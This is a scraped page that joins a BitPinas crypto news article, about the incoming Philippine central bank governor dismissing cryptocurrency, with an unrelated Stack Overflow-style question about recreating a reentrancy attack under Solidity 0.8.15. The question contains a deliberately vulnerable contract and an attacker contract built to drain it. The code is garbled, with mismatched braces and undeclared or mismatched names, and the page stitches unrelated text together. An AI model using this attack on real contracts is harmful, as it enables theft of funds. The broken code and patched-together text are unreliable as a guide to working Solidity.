CRYPTO NEWS

Incoming BSP Governor Dismisses Crypto, Not Keen in Regulating

The next governor of the Bangko Sentral ng Pilipinas (BSP), Felipe Medalla, expressed that he is not keen on regulating crypto and dismissed it as based on the “greater fool theory.”

This Greater Fool theory notes that a person can make money buying overpriced items if there is a “greater fool” who wants to purchase them at an even higher price.

Billionaire Bill Gates, who’s always been critical of digital assets, also had the same sentiment and pointed out that cryptocurrency and non-fungible tokens (NFT) are shams “based on the greater fool theory”. In a different event, he disclosed that cryptocurrency isn’t “adding to society”. (Read more: Bill Gates: Crypto Doesn’t ‘have Valuable Output,’ Isn’t ‘Adding To Society’)

Further, Medalla added that cryptocurrency is valuable for those who want to hide their money from the government.

Last week, Infrawatch PH, a research policy group, urged BSP to suspend and ban the global crypto exchange Binance because it operated illegally in the country. Binance said it is open to discussions.

Currently, cryptocurrency itself is not regulated by the central bank but entities facilitating it are monitored and regulated as Virtual Asset Service Providers (VASP). (Read more: PDAX Explains the Benefits of Transacting With a BSP-Licensed Exchange)

Despite these crypto remarks, he pledged that the BSP will remain data-driven under his leadership.

“So, as the first order of business, we will be evaluating relevant data from the BSP units to make sure that we continue what my predecessors have successfully implemented in ensuring price and financial stability and efficient functioning of our payments and settlements system,” he assured.

Last month, BSP Governor Benjamin Diokno stated that the central bank is in talks and currently onboarding several banks and financial institutions for the pilot testing of the central bank digital currency (CBDC) by the last quarter of the year. The launch of the CBDC was announced last March. According to the central bank, it will pursue the pilot project of a wholesale CBDC as part of its aim to promote the stability of the country’s payment system. (Read more: BSP CBDC Digital Currency Initiative Scheduled for Q4 2022)

This article is published on BitPinas: Incoming BSP Governor Dismisses Crypto, Not Keen in Regulating

Photo from UP, Source 1, 2

Disclaimer: BitPinas articles and its external content are not financial advice. The team serves to deliver independent, unbiased news to provide information for Philippine-crypto and beyond.

The post Incoming BSP Governor Dismisses Crypto, Not Keen in Regulating appeared first on BitPinas.

Stack overflows with Rentrancy attack for solc 0.8.15

I am trying to recreate a reentrancy attack using solc 0.8.15 Vulnerable Code pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; contract Vulnerable { using SafeMath for uint256; mapping(address => uint256) public balances; function getBalance(address _request) public view returns (uint256 balance) { return balances[_request]; } function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); } function withdraw(uint256 _amount)::Listen

I am trying to recreate a reentrancy attack using solc 0.8.15

Vulnerable Code

pragma solidity ^0.8.0;  import "@openzeppelin/contracts/utils/math/SafeMath.sol";  contract Vulnerable {     using SafeMath for uint256;     mapping(address => uint256) public balances;      function getBalance(address _request)         public         view         returns (uint256 balance)     {         return balances[_request];     }      function donate(address _to) public payable {         balances[_to] = balances[_to].add(msg.value);     }      function withdraw(uint256 _amount) public {         if (balances[msg.sender] >= _amount) {             (bool result, ) = payable(msg.sender).call{value: _amount}("");             if (result) {                 _amount;             balances[msg.sender] -= _amount;         }     }      receive() external payable {} }  

Attacker

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.15;  import "@openzeppelin/contracts/security/ReentrancyGuard.sol";  interface IVulnerable {     function deposit(address _to) external payable;      function withdraw(uint256 _amount) external; }  contract Attacker {     IVulnerable public immutable vulnerable;     uint256 value;       constructor(IPwned _pwned) {         owner = payable(msg.sender);         pwned = _pwned;     }      receive() external payable {         withDraw();     }      function attack() external payable {         value = 1 ether;         vulnerable.deposit{value: value, gas: 1000000}(address(this));         withDraw();     }      function withDraw() private {         uint256 vulnerableFundsRemaining = address(pwned).balance;         bool shouldKeepGoing = vulnerableFundsRemaining > 0;         if (shouldKeepGoing) {             // can only withdraw at most our initial balance per withdraw call             uint256 toWithdraw = value < vulnerableFundsRemaining                 ? value                 : vulnerableFundsRemaining;             vulnerable.withdraw(toWithdraw);         }     }      function getBalance() external view returns (uint256) {         return address(this).balance;     } } 

Unfortunately , the call reverts and the attack is unsuccessful. Is there a way to still perform this in the latest solc version?

Incoming BSP Governor Dismisses Crypto, Not Keen in Regulating

Shopping cart
There are no products in the cart!
Continue shopping
0